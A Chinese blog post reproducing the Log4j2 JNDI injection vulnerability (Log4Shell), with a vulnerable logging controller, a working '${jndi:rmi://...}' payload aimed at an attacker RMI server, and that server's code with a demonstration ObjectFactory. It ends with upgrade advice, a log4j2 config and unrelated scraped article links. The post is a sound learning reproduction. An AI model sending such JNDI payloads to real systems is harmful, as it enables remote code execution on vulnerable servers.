log4j2 2.14.0之前的版本出现重大漏洞

长话短说

lookup

这个是log4j2的一个功能,就是说你可以用

String javaCmd = "${java:os}";
LOGGER.info("javacmd: {}", javaCmd);

这种方式来打印系统的一些相关信息

而这种lookup好像是基于jndi,rmi,具体这两个东西是啥,请去google一下, 这里就不多说了。

jndi注入

这个也是一种大课题了,我前几天才知道有这个东西
直接上代码

环境介绍(最基本的maven项目)

  • jdk1.8.0-291
  • log4j2 2.14.0
    • 注意log4j和log4j2还不一样,这两个虽然是同一作者,但是log4j是通过porperties配置了,log4j2可以通过xml配置

    • maven 3.6.3
    • idea 2021.1.2
      主要是jdk版本和log4j2的版本

你的controller可能是这样写的

package com.syj.controller;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;/*** lookup是基于jndi的jndi又基于rmi所以下面这个特殊命令就会出问题** @author 儒雅随和的施兄* @date 2021/12/11 15:18*/
public class UserController {private static final Logger LOGGER = LogManager.getLogger(UserController.class);public static void main(String[] args) {String bug = "${jndi:rmi://192.168.31.11:1099/evil}";//tring username = "syj";String javaCmd = "${java:os}";//Key Description//version The short Java version, like:Java version 1.7.0_67//runtime The Java runtime version, like:Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation//vm The Java VM version, like:Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode)//osThe OS version, like:Windows 7 6.1 Service Pack 1, architecture: amd64-64//locale Hardware information, like:default locale: en_US, platform encoding: Cp1252//hw Hardware information, like:processors: 4, architecture: amd64-64, instruction sets: amd64LOGGER.info("username: {}", javaCmd);}
}

黑客的代码可能是这样写的

package com.syj.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** @author 儒雅随和的施兄* @date 2021/12/11 16:00*/
public class RMIServer {public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);Registry registry = LocateRegistry.getRegistry();System.out.println("Create RMI register on port 1099");Reference reference = new Reference("com.syj.rmi.Hacker","com.syj.rmi.Hacker",null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("evil",referenceWrapper);} catch (RemoteException | NamingException | AlreadyBoundException e) {e.printStackTrace();}}
}
package com.syj.rmi;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;/*** @author 儒雅随和的施兄* @date 2021/12/11 16:02*/
public class Hacker implements ObjectFactory {static {System.out.println("bangbangbang你被攻击了");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {int core = Runtime.getRuntime().availableProcessors();ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(core, core * 2, 5, TimeUnit.SECONDS, new LinkedBlockingQueue<>(), new ThreadFactory() {@Overridepublic Thread newThread(Runnable r) {return new Thread(r);}});threadPoolExecutor.execute(()->{while (true){try {TimeUnit.SECONDS.sleep(1);System.out.println("连续攻击");} catch (InterruptedException e) {e.printStackTrace();}}});return null;}
}

解释部分

  • UserController

    这个类模拟的是你的controller层代码,你会接收一个参数,然后对他做处理,然后不知道是哪里的原因,日志记录了前端的参数

  • RMIServer

    这个类你可以把它理解为一个rmi的注册中心,具体的原理太复杂了,我也不懂,baidu去吧

  • Hacker

    这个类就是黑客具体的业务类要实现ObjectFactory,其实这个是一个Obj的工厂类,在这个代码种工厂和产品都是一个东西了,做的比较简单,反正目的是达到了,已经能在对方的服务器里面做一些手脚了

UserController是服务器上的代码,RMIServer和Hacker是黑客电脑上的代码,jndi注入可以达到在服务器上调用远程服务,懂RPC的你就把他理解为RPC吧。

总结

昨天的漏洞,紧急bug,头一次感觉阿帕奇离自己如此的近,今天也是查找资料,把这个漏洞有可能出现的bug复现了一下,这个我觉得是一个参数问题,如果前后端不校验参数的话,就很危险,有可能就有恶意str跑到服务器上,即使不会有重大损失,冗余是一定会有的,所以一定要做参数处理。如果是框架内部的日志记录的恶意参数,那我们就干涉不聊了。。。。。。

解决方法

log4j2 的新版本已经解决这个问题了(2.15.0)
或者用别的日志代替log4j2

<?xml version="1.0" encoding="UTF-8"?>
<!--日志级别以及优先级排序: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALL -->
<!--Configuration后面的status,这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,你会看到log4j2内部各种详细输出-->
<!--monitorInterval:Log4j能够自动检测修改配置 文件和重新配置本身,设置间隔秒数-->
<configuration status="WARN" monitorInterval="30"><!--先定义所有的appender--><appenders><!--这个输出控制台的配置--><console name="Console" target="SYSTEM_OUT"><!--输出日志的格式--><PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/></console><!--文件会打印出所有信息,这个log每次运行程序会自动清空,由append属性决定,这个也挺有用的,适合临时测试用--><File name="fileLog" fileName="log/log4j2.log" append="false"><PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/></File><!-- 这个会打印出所有的info及以下级别的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档--><RollingFile name="RollingFileInfo" fileName="${sys:user.home}/logs/info.log"filePattern="${sys:user.home}/logs/$${date:yyyy-MM}/info-%d{yyyy-MM-dd}-%i.log"><!--控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--><ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/><PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/><Policies><TimeBasedTriggeringPolicy/><SizeBasedTriggeringPolicy size="100 MB"/></Policies></RollingFile><RollingFile name="RollingFileWarn" fileName="${sys:user.home}/logs/warn.log"filePattern="${sys:user.home}/logs/$${date:yyyy-MM}/warn-%d{yyyy-MM-dd}-%i.log"><ThresholdFilter level="warn" onMatch="ACCEPT" onMismatch="DENY"/><PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/><Policies><TimeBasedTriggeringPolicy/><SizeBasedTriggeringPolicy size="100 MB"/></Policies><!-- DefaultRolloverStrategy属性如不设置,则默认为最多同一文件夹下7个文件,这里设置了20 --><DefaultRolloverStrategy max="20"/></RollingFile><RollingFile name="RollingFileError" fileName="${sys:user.home}/logs/error.log"filePattern="${sys:user.home}/logs/$${date:yyyy-MM}/error-%d{yyyy-MM-dd}-%i.log"><ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/><PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/><Policies><TimeBasedTriggeringPolicy/><SizeBasedTriggeringPolicy size="100 MB"/></Policies></RollingFile></appenders>然后定义logger,只有定义了logger并引入的appender,appender才会生效<loggers><!--过滤掉spring和mybatis的一些无用的DEBUG信息-->
<!--        <logger name="org.springframework" level="INFO"></logger>-->
<!--        <logger name="org.mybatis" level="INFO"></logger>--><root level="all"><appender-ref ref="Console"/><appender-ref ref="fileLog"/><appender-ref ref="RollingFileInfo"/><appender-ref ref="RollingFileWarn"/><appender-ref ref="RollingFileError"/></root></loggers>
</configuration>

log4j2 2.14.0之前的版本出现重大漏洞相关推荐

  1. WIN8以上操作系统安装K3 WISE 14.0及以下版本客户端出现.Net Framework3.5无法正常安装的解决方案

    由于Windows 8及以上windows操作系统 默认携带 .Net Framework 4.0的支持,但K/3 WISE v14.0及以下金蝶软件版本本身仍然需要运行在.Net Framework ...

  2. Eclipse插件下载 4.2到Eclipse4.14.0的所有版本的spring插件

    链接:https://pan.baidu.com/s/1QqI7K2foatzolk-ST8DapQ  提取码:2iyv  复制这段内容后打开百度网盘手机App,操作更方便哦 此图片没有展示所有插件 ...

  3. Centos7安装Nginx1.14.0

    一.官网下载 http://nginx.org/en/download.html 版本说明: Nginx官网提供了三个类型的版本 Mainline version:Mainline 是 Nginx 目 ...

  4. 【tensorflow】安装cuda10.0 and cudnn 7.5.0 and tensorflow-gpu==1.14.0

    安装cuda 的一天 使用实验室同学下载好的cuda安装报错 文件直接传:7zip Data error: 原因是安装文件损坏,重新下载 安装包下载 cuda 10.0版本 官网安装中断: 开了vpn ...

  5. PHP Warning: ‘ vcruntime140.dll‘ 14.0 is not compatible with this PHP build linked with 14.16 in Unk

    参考来源: vcruntime140.dll 14.0与PHP版本不兼容,PHP Warning: 'vcruntime140.dll' 14.0 is not compatible with thi ...

  6. Windows下配置scrapy需要MVC的14.0版本(转载)

    转载于--http://blog.csdn.net/MrWilliamVs/article/details/77130965 杨煜冬煜杨的博客,他的博客比较杂,Java.Python都有--http: ...

  7. webpack 4.14.0 版本太高,无法执行相关指令,(将webpack高版本切换到低版本)--直接覆盖

    (1)问题: webpack 4.14.0 版本太高,无法执行相关指令, (2) 解决办法:将高版本切换到低版本 (3)实现 webpack 4.14.0 版本太高,无法执行相关指令,指令不熟悉,高版 ...

  8. win7安装node版本最高只支持13.14.0

    今天用nvm安装node 16 和 14.0.0 都没有安装成功. 原因是从14.0.0开始,node不再支持win7系统了. 所以,最高只能安装到13.14.0 1.node和npm下载地址 历史n ...

  9. linux指定内核版本升级,Ubuntu 14.0 升级内核到指定版本

    1.卸载现有内核 sudo apt purge linux-headers-* linux-headers-*-generic linux-image-*-generic linux-image-ex ...

最新文章

  1. Kendo UI Web教程分享
  2. centos5.6无法ping,无法scp的问题解析
  3. 精通JavaScript--01面向对象JavaScript
  4. linux系统安装tv软件下载,达龙云电脑apk下载
  5. vim 使用 surround 批量添加 引号
  6. oracle exec编译失效,编译oracle失效的函数、存储过程、视图等
  7. shortcut switch in terminal start pos end pos
  8. html img 能显示psd吗_教育一体机迈向大尺寸化,小间距显示屏能进入教室吗?
  9. markdown语法中一些数学符号怎么打
  10. 多路复用输入/输出 ---- select
  11. 【经验】JavaScript
  12. 第22.7节 性能篇-使用八叉树结构来管理场景
  13. java gui 测试工具_开发者眼中最好的22款GUI测试工具(上)
  14. 服务器显示无vga电缆怎么回事,无vga电缆是什么意思
  15. 【洛谷1337】[JSOI2004] 吊打XXX(模拟退火经典题)
  16. Android 注解处理器使用攻略
  17. 用户输入自己的【姓名 年龄 爱好】 + 加CP【姓名 年龄 爱好】,点击按钮,页面显示该用户的信息 点击提交按钮,JSON显示用户信息+副本信息(副本初始值是{})
  18. linux查询主机信息命令,用来获取Linux主机信息的5个常用命令
  19. 无障碍服务(AccessibilityService)
  20. CentOS 固定 IP 地址

热门文章

  1. 【小说】玻璃碎片-第三章
  2. 什么无线蓝牙耳机延迟低?延迟低的无线蓝牙耳机推荐
  3. cad绘制正八边形_CAD怎么画正八边形 看完你学会了么
  4. 由“官方通知”论语音合成,一键合成你想要的语音
  5. 关于解决缓慢渐变维的3种方式
  6. 手动双面打印机-打印规则
  7. 职教云计算机网络基础题库,智慧职教云课堂APP计算机组装与维护章节测试答案...
  8. Docker 学习之 Docker 容器数据卷
  9. 昊海微信拼团php,最新微信昊海拼团系统独立版源码分享,微信团购关注送红包送优惠卷功能,附说明文档...
  10. 【华为机试真题 JAVA】字符串子序列II-100